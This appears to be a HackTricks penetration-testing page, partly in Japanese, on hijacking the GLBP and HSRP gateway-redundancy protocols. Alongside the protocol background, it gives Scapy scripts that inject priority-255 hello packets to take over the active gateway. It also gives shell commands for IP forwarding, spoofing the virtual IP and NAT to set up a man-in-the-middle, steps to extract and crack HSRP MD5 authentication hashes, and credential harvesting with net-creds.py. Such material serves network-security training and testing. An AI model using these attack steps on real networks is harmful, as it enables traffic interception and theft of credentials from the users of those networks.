GLBP & HSRP Attacks

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

FHRP Hijacking Overview

Insights into FHRP

FHRPは複数のルーターを単一の仮想ユニットに統合することでネットワークの堅牢性を提供するよう設計されており、ロード分散とフォールトトレランスを向上させます。Cisco Systemsはこのスイートの代表的なプロトコルとしてGLBPやHSRPを導入しました。

GLBP Protocol Insights

Cisco’s creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. ルーターはGLBPグループ内で3秒間隔で“hello“パケットを交換します。ルーターが10秒間これらのパケットを送信しない場合、オフラインと見なされます。ただし、これらのタイマーは固定ではなく変更可能です。

GLBP for IPv6 uses multicast FF02::66 over UDP/3222, and the virtual MAC format becomes 0007.b4xx.xxyy (AVF ID is in the last byte). タイミングと攻撃面はIPv4と同じため、hijack手法はデュアルスタックネットワークでも有効です。

GLBP Operations and Load Distribution

GLBPは単一の仮想IPと複数の仮想MACアドレスを組み合わせてルーター間でのロード分散を可能にする点が特徴です。GLBPグループでは、すべてのルーターがパケット転送に関与します。HSRP/VRRPとは異なり、GLBPは以下のような複数のメカニズムで真のロードバランシングを提供します:

  • Host-Dependent Load Balancing: ホストごとに一貫したAVF MACアドレス割り当てを維持し、安定したNAT構成に不可欠です。
  • Round-Robin Load Balancing: デフォルトのアプローチで、要求するホスト間でAVF MACアドレスを順に割り当てます。
  • Weighted Round-Robin Load Balancing: 事前定義された“Weight“メトリックに基づいて負荷を分配します。

Key Components and Terminologies in GLBP

  • AVG (Active Virtual Gateway): メインのルーターで、ピアルーターにMACアドレスを割り当てる役割を持ちます。
  • AVF (Active Virtual Forwarder): ネットワークトラフィックの転送を担当するルーターです。
  • GLBP Priority: AVGを決定するメトリックで、デフォルトは100、範囲は1〜255です。
  • GLBP Weight: ルーターの現在の負荷を反映する値で、手動またはObject Trackingによって調整できます。
  • GLBP Virtual IP Address: 接続されたすべてのデバイスのデフォルトゲートウェイとして機能します。

For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. ルーターは3秒間隔で“hello“パケットを送信し、10秒間パケットが欠落すると非稼働と見なされます。

GLBP Attack Mechanism

An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). これによりDoSやMITM攻撃が発生し、トラフィックの傍受やリダイレクトが可能になります。

Practical GLBP hijack with Scapy (short PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

GLBPヘッダ (version/opcode/priority/weight/VRID) を模倣するように payload bytes を作成します。フレームをループさせることで、認証がない場合は AVG の選出に勝てます。

LokiによるGLBP攻撃の実行

Loki は priority と weight を 255 に設定したパケットを注入することで GLBP 攻撃を実行できます。事前の調査では、virtual IP address、authentication の有無、ルーターの priority 値などを Wireshark などで収集します。

Attack Steps:

  1. promiscuous mode に切り替え、IP forwarding を有効化する。
  2. ターゲットルーターを特定し、その IP を取得する。
  3. Gratuitous ARP を生成する。
  4. AVG を偽装して悪意のある GLBP パケットを注入する。
  5. 攻撃者のネットワークインターフェースにセカンダリの IP アドレスを割り当て、GLBP の virtual IP をミラーリングする。
  6. トラフィックを完全に可視化するために SNAT を実装する。
  7. 元の AVG ルーター経由でインターネット接続を継続できるようにルーティングを調整する。

これらの手順を実行することで、攻撃者は “man in the middle” の位置を占め、暗号化されていないトラフィックや機密データを傍受・解析できるようになります。

For demonstration, here are the required command snippets:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

ネットワーク内を流れるトラフィックの監視や傍受は、net-creds.py や同様のツールを使って、侵害されたネットワークを通過するデータをキャプチャして解析することで行えます。

HSRP Hijacking の受動的説明(コマンドの詳細)

HSRP (Hot Standby Router/Redundancy Protocol) の概要

HSRP はネットワークゲートウェイの冗長化のために設計された Cisco 独自のプロトコルです。複数の物理ルータを共有IPアドレスを持つ単一の論理ユニットとして構成でき、この論理ユニットはトラフィックを指示するプライマリルータによって管理されます。優先度 (priority) やウェイト (weight) といったメトリクスで負荷分散を行う GLBP とは異なり、HSRP はトラフィック管理に単一のアクティブルータを利用します。

HSRPv1 はマルチキャスト 224.0.0.2 と仮想 MAC 0000.0c07.acXX を使用します;HSRPv2 および HSRPv2 for IPv6 は 224.0.0.102 / FF02::66 と仮想 MAC 0000.0c9f.fXXX を使用します。UDP 宛先ポートは IPv4 が 1985、IPv6 が 2029 です。

HSRP における役割と用語

  • HSRP Active Router: ゲートウェイとして動作し、トラフィックの流れを管理するデバイス。
  • HSRP Standby Router: バックアップのルータで、active router が故障した場合に引き継ぐ準備ができている。
  • HSRP Group: 単一の冗長な仮想ルータを構成するために協調するルータ群。
  • HSRP MAC Address: HSRP 構成内の論理ルータに割り当てられる仮想MACアドレス。
  • HSRP Virtual IP Address: HSRP グループの仮想IPアドレスで、接続されたデバイスのデフォルトゲートウェイとして機能する。

HSRP のバージョン

HSRP には HSRPv1 と HSRPv2 の2つのバージョンがあり、主にグループ容量、マルチキャスト IP の使用、および仮想 MAC アドレスの構造が異なります。プロトコルはサービス情報交換のために特定のマルチキャスト IP アドレスを利用し、Hello パケットは3秒ごとに送信されます。10秒間パケットが受信されない場合、そのルータは非アクティブと見なされます。

HSRP の攻撃メカニズム

HSRP に対する攻撃は、最大の優先度を注入して Active Router の役割を強制的に奪取することを含みます。これにより Man-In-The-Middle (MITM) 攻撃につながる可能性があります。攻撃前の重要な準備として HSRP 設定に関する情報収集があり、トラフィック解析には Wireshark を使用して行えます。

Quick HSRP takeover with Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

認証が 構成されていない 場合、より高い優先度で hellos を継続的に送信するとピアは Speak/Listen 状態に強制され、あなたは Active になってトラフィックをホスト経由にリダイレクトできます。

HSRP authentication corner cases

  • レガシーな plain-text auth は簡単に偽装されます。
  • MD5 認証は HSRP ペイロードのみをカバーします;細工したパケットは依然としてコントロールプレーンに対してレートリミットや DoS を仕掛けることができます。NX-OS のリリースでは以前、認証されたグループに対する DoS を許していました(Cisco advisory CSCup11309 を参照)。
  • 多くの ISP / VPS 共有 VLAN では、HSRPv1 のマルチキャストがテナントから見えます;認証が無ければ参加してトラフィックをプリエンプトできます。

Steps for Bypassing HSRP Authentication

  1. HSRP データを含むネットワークトラフィックを .pcap ファイルとして保存します。
tcpdump -w hsrp_traffic.pcap
  1. hsrp2john.py を使って .pcap ファイルから MD5 ハッシュを抽出します。
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. John the Ripper を使って MD5 ハッシュをクラッキングします。
john --wordlist=mywordlist.txt hsrp_hashes

Executing HSRP Injection with Loki

  1. Loki を起動して HSRP 広告を識別します。
  2. ネットワークインターフェースをプロミスキャスモードに設定し、IP フォワーディングを有効にします。
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Loki を使い、対象ルータを指定してクラッキングした HSRP パスワードを入力し、Active Router を偽装するために必要な設定を行います。
  2. Active Router の役割を取得したら、自分のネットワークインターフェースと iptables を設定して正当なトラフィックを傍受します。
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. ルーティングテーブルを変更してトラフィックを元の Active Router 経由にルーティングします。
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. net-creds.py などのユーティリティを使って傍受したトラフィックから認証情報を収集します。
sudo python2 net-creds.py -i eth0

これらの手順を実行すると、攻撃者はトラフィックを傍受・改竄できる立場になり、GLBP ハイジャックの手順と同様です。これは HSRP のような冗長化プロトコルにおける脆弱性と、堅牢なセキュリティ対策の必要性を強調します。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする